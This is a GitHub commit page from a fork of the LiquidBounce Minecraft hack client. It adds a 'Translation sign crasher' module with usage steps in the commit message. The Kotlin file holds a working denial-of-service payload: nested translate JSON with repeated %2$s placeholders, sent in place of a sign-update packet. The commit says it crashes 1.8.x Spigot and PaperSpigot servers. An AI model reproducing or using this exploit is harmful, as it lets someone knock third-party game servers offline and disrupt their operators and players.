forked from CCBlueX/LiquidBounce
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Translation sign crasher (CCBlueX#2598)
This crasher can crash Minecraft 1.8.x servers (like Spigot or PaperSpigot) using the translation component in signs. Although I haven't personally tested this module in LiquidBounce, I'm sure it functions since it's the same in my own client. The exploit was originally found by @Outfluencer and then found by others including me and now has been leaked. Steps to use: - Toggle the ServerCrasher module with the right mode - Place a sign - Press done - Should've crashed. --------- Co-authored-by: 1zuna <[email protected]>
- Loading branch information
Showing
2 changed files
with
46 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
45 changes: 45 additions & 0 deletions
45
...idbounce/features/module/modules/exploit/servercrasher/exploits/TranslationSignExploit.kt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits | ||
|
||
import net.ccbluex.liquidbounce.config.Choice | ||
import net.ccbluex.liquidbounce.config.ChoiceConfigurable | ||
import net.ccbluex.liquidbounce.event.events.PacketEvent | ||
import net.ccbluex.liquidbounce.event.handler | ||
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher | ||
import net.ccbluex.liquidbounce.utils.client.sendPacketSilently | ||
import net.minecraft.network.packet.c2s.play.UpdateSignC2SPacket | ||
|
||
/** | ||
* Translation sign exploit | ||
* Works on Vanilla/Spigot 1.8.x | ||
* | ||
* Originally found by https://github.com/Outfluencer and then found by me (cuddlycatgirl) and some others. | ||
*/ | ||
object TranslationSignExploit : Choice("TranslationSign") { | ||
|
||
override val parent: ChoiceConfigurable<Choice> | ||
get() = ModuleServerCrasher.exploitChoices | ||
|
||
private const val TEXT = "{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," + | ||
"\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," + | ||
"\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," + | ||
"\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," + | ||
"\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s%2\$s\"," + | ||
"\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s\"," + | ||
"\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s\"," + | ||
"\"with\":[\"\",{\"translate\":\"%2\$s%2\$s%2\$s%2\$s\"," + | ||
"\"with\":[\"a\", \"a\"]}]}]}]}]}]}]}]}" | ||
|
||
@Suppress("unused") | ||
private val packetHandler = handler<PacketEvent> { event -> | ||
val original = event.packet | ||
|
||
if (original is UpdateSignC2SPacket) { | ||
val packet = UpdateSignC2SPacket(original.pos, original.isFront, TEXT, "", "", "") | ||
|
||
// Keeps from repeating | ||
sendPacketSilently(packet) | ||
event.cancelEvent() | ||
} | ||
} | ||
|
||
} |